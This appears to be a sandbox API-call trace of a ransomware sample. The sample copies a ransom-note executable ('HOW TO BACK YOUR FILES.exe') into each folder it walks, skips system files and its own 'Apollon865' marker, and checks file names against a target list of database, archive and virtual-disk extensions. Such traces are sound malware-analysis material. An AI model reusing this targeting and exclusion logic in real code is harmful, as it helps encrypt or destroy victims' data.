	[0044.088] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x32588050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x32588050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.088] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.088] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0044.088] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache"
	[0044.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.088] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0044.088] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned 73
	[0044.088] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache"
	[0044.088] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.088] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.092] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x325ae1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x325ae1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.092] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.093] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.093] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.093] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x325ae1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x325ae1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.093] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.093] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.093] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.093] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.093] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="Apollon865.txt.exe") returned 1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2=".") returned 1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="..") returned 1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="windows") returned -1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="bootmgr") returned 1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="temp") returned -1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="pagefile.sys") returned -1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="boot") returned 1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="ids.txt") returned -1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="ntuser.dat") returned -1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="perflogs") returned -1
	[0044.093] lstrcmpiW (lpString1="Content", lpString2="MSBuild") returned -1
	[0044.093] lstrlenW (lpString="Content") returned 7
	[0044.093] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*") returned 75
	[0044.093] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="Content" | out: lpString1="Content") returned="Content"
	[0044.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0044.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x599450
	[0044.093] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0044.093] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x325ae1b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x325ae1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.093] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.093] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="Apollon865.txt.exe") returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2=".") returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="..") returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="windows") returned -1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="bootmgr") returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="temp") returned -1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="pagefile.sys") returned -1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="boot") returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="ids.txt") returned 1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="ntuser.dat") returned -1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="perflogs") returned -1
	[0044.094] lstrcmpiW (lpString1="MetaData", lpString2="MSBuild") returned -1
	[0044.094] lstrlenW (lpString="MetaData") returned 8
	[0044.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content") returned 81
	[0044.094] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="MetaData" | out: lpString1="MetaData") returned="MetaData"
	[0044.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0044.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599500
	[0044.094] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0044.094] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0
	[0044.094] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0044.094] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0044.094] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData"
	[0044.094] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599500 | out: hHeap=0x580000) returned 1
	[0044.094] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0044.094] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned 82
	[0044.094] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData"
	[0044.094] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.094] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.099] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.099] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x325ae1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x325ae1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0044.099] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.099] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.099] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.099] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x325ae1b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x325ae1b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.099] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.099] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.099] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.099] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.099] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1
	[0044.099] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="Apollon865.txt.exe") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".") returned 1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="..") returned 1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="windows") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="bootmgr") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="temp") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="pagefile.sys") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="boot") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="ids.txt") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="ntuser.dat") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="perflogs") returned -1
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="MSBuild") returned -1
	[0044.100] lstrlenW (lpString="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 65
	[0044.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*") returned 84
	[0044.100] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" | out: lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B"
	[0044.100] lstrlenW (lpString="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 65
	[0044.100] lstrlenW (lpString="Apollon865") returned 10
	[0044.100] lstrcmpiW (lpString1="29BE09D91B", lpString2="Apollon865") returned -1
	[0044.100] lstrlenW (lpString=".dll") returned 4
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".dll") returned 1
	[0044.100] lstrlenW (lpString=".lnk") returned 4
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".lnk") returned 1
	[0044.100] lstrlenW (lpString=".ini") returned 4
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".ini") returned 1
	[0044.100] lstrlenW (lpString=".sys") returned 4
	[0044.100] lstrcmpiW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2=".sys") returned 1
	[0044.100] lstrlenW (lpString="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 65
	[0044.100] lstrlenW (lpString="bak") returned 3
	[0044.100] lstrcmpiW (lpString1="91B", lpString2="bak") returned -1
	[0044.100] lstrlenW (lpString="ba_") returned 3
	[0044.100] lstrcmpiW (lpString1="91B", lpString2="ba_") returned -1
	[0044.100] lstrlenW (lpString="dbb") returned 3
	[0044.100] lstrcmpiW (lpString1="91B", lpString2="dbb") returned -1
	[0044.100] lstrlenW (lpString="vmdk") returned 4
	[0044.100] lstrcmpiW (lpString1="D91B", lpString2="vmdk") returned -1
	[0044.101] lstrlenW (lpString="rar") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="rar") returned -1
	[0044.101] lstrlenW (lpString="zip") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="zip") returned -1
	[0044.101] lstrlenW (lpString="tgz") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="tgz") returned -1
	[0044.101] lstrlenW (lpString="vbox") returned 4
	[0044.101] lstrcmpiW (lpString1="D91B", lpString2="vbox") returned -1
	[0044.101] lstrlenW (lpString="vdi") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="vdi") returned -1
	[0044.101] lstrlenW (lpString="vhd") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="vhd") returned -1
	[0044.101] lstrlenW (lpString="vhdx") returned 4
	[0044.101] lstrcmpiW (lpString1="D91B", lpString2="vhdx") returned -1
	[0044.101] lstrlenW (lpString="avhd") returned 4
	[0044.101] lstrcmpiW (lpString1="D91B", lpString2="avhd") returned 1
	[0044.101] lstrlenW (lpString="db") returned 2
	[0044.101] lstrcmpiW (lpString1="1B", lpString2="db") returned -1
	[0044.101] lstrlenW (lpString="db2") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="db2") returned -1
	[0044.101] lstrlenW (lpString="db3") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="db3") returned -1
	[0044.101] lstrlenW (lpString="dbf") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="dbf") returned -1
	[0044.101] lstrlenW (lpString="mdf") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="mdf") returned -1
	[0044.101] lstrlenW (lpString="mdb") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="mdb") returned -1
	[0044.101] lstrlenW (lpString="sql") returned 3
	[0044.101] lstrcmpiW (lpString1="91B", lpString2="sql") returned -1
	[0044.101] lstrlenW (lpString="sqlite") returned 6
	[0044.101] lstrcmpiW (lpString1="09D91B", lpString2="sqlite") returned -1
	[0044.101] lstrlenW (lpString="sqlite3") returned 7
	[0044.101] lstrcmpiW (lpString1="E09D91B", lpString2="sqlite3") returned -1
	[0044.102] lstrlenW (lpString="sqlitedb") returned 8
	[0044.102] lstrcmpiW (lpString1="BE09D91B", lpString2="sqlitedb") returned -1
	[0044.102] lstrlenW (lpString="xml") returned 3
	[0044.102] lstrcmpiW (lpString1="91B", lpString2="xml") returned -1
	[0044.102] lstrlenW (lpString="$er") returned 3
	[0044.102] lstrcmpiW (lpString1="91B", lpString2="$er") returned 1
	[0044.109] lstrlenW (lpString="4dd") returned 3
	[0044.109] lstrcmpiW (lpString1="91B", lpString2="4dd") returned 1
	[0044.109] lstrlenW (lpString="4dl") returned 3
	[0044.109] lstrcmpiW (lpString1="91B", lpString2="4dl") returned 1
	[0044.109] lstrlenW (lpString="^^^") returned 3
	[0044.109] lstrcmpiW (lpString1="91B", lpString2="^^^") returned 1
	[0044.109] lstrlenW (lpString="abs") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="abs") returned -1
	[0044.110] lstrlenW (lpString="abx") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="abx") returned -1
	[0044.110] lstrlenW (lpString="accdb") returned 5
	[0044.110] lstrcmpiW (lpString1="9D91B", lpString2="accdb") returned -1
	[0044.110] lstrlenW (lpString="accdc") returned 5
	[0044.110] lstrcmpiW (lpString1="9D91B", lpString2="accdc") returned -1
	[0044.110] lstrlenW (lpString="accde") returned 5
	[0044.110] lstrcmpiW (lpString1="9D91B", lpString2="accde") returned -1
	[0044.110] lstrlenW (lpString="accdr") returned 5
	[0044.110] lstrcmpiW (lpString1="9D91B", lpString2="accdr") returned -1
	[0044.110] lstrlenW (lpString="accdt") returned 5
	[0044.110] lstrcmpiW (lpString1="9D91B", lpString2="accdt") returned -1
	[0044.110] lstrlenW (lpString="accdw") returned 5
	[0044.110] lstrcmpiW (lpString1="9D91B", lpString2="accdw") returned -1
	[0044.110] lstrlenW (lpString="accft") returned 5
	[0044.110] lstrcmpiW (lpString1="9D91B", lpString2="accft") returned -1
	[0044.110] lstrlenW (lpString="adb") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="adb") returned -1
	[0044.110] lstrlenW (lpString="adb") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="adb") returned -1
	[0044.110] lstrlenW (lpString="ade") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="ade") returned -1
	[0044.110] lstrlenW (lpString="adf") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="adf") returned -1
	[0044.110] lstrlenW (lpString="adn") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="adn") returned -1
	[0044.110] lstrlenW (lpString="adp") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="adp") returned -1
	[0044.110] lstrlenW (lpString="alf") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="alf") returned -1
	[0044.110] lstrlenW (lpString="ask") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="ask") returned -1
	[0044.110] lstrlenW (lpString="btr") returned 3
	[0044.110] lstrcmpiW (lpString1="91B", lpString2="btr") returned -1
	[0044.111] lstrlenW (lpString="cat") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="cat") returned -1
	[0044.111] lstrlenW (lpString="cdb") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="cdb") returned -1
	[0044.111] lstrlenW (lpString="ckp") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="ckp") returned -1
	[0044.111] lstrlenW (lpString="cma") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="cma") returned -1
	[0044.111] lstrlenW (lpString="cpd") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="cpd") returned -1
	[0044.111] lstrlenW (lpString="dacpac") returned 6
	[0044.111] lstrcmpiW (lpString1="09D91B", lpString2="dacpac") returned -1
	[0044.111] lstrlenW (lpString="dad") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="dad") returned -1
	[0044.111] lstrlenW (lpString="dadiagrams") returned 10
	[0044.111] lstrcmpiW (lpString1="29BE09D91B", lpString2="dadiagrams") returned -1
	[0044.111] lstrlenW (lpString="daschema") returned 8
	[0044.111] lstrcmpiW (lpString1="BE09D91B", lpString2="daschema") returned -1
	[0044.111] lstrlenW (lpString="db-journal") returned 10
	[0044.111] lstrcmpiW (lpString1="29BE09D91B", lpString2="db-journal") returned -1
	[0044.111] lstrlenW (lpString="db-shm") returned 6
	[0044.111] lstrcmpiW (lpString1="09D91B", lpString2="db-shm") returned -1
	[0044.111] lstrlenW (lpString="db-wal") returned 6
	[0044.111] lstrcmpiW (lpString1="09D91B", lpString2="db-wal") returned -1
	[0044.111] lstrlenW (lpString="dbc") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="dbc") returned -1
	[0044.111] lstrlenW (lpString="dbs") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="dbs") returned -1
	[0044.111] lstrlenW (lpString="dbt") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="dbt") returned -1
	[0044.111] lstrlenW (lpString="dbv") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="dbv") returned -1
	[0044.111] lstrlenW (lpString="dbx") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="dbx") returned -1
	[0044.111] lstrlenW (lpString="dcb") returned 3
	[0044.111] lstrcmpiW (lpString1="91B", lpString2="dcb") returned -1
	[0044.112] lstrlenW (lpString="dct") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="dct") returned -1
	[0044.112] lstrlenW (lpString="dcx") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="dcx") returned -1
	[0044.112] lstrlenW (lpString="ddl") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="ddl") returned -1
	[0044.112] lstrlenW (lpString="dlis") returned 4
	[0044.112] lstrcmpiW (lpString1="D91B", lpString2="dlis") returned -1
	[0044.112] lstrlenW (lpString="dp1") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="dp1") returned -1
	[0044.112] lstrlenW (lpString="dqy") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="dqy") returned -1
	[0044.112] lstrlenW (lpString="dsk") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="dsk") returned -1
	[0044.112] lstrlenW (lpString="dsn") returned 3
	[0044.112] lstrcmpiW (lpString1="91B", lpString2="dsn") returned -1
	[0044.112] lstrlenW (lpString="dtsx") returned 4
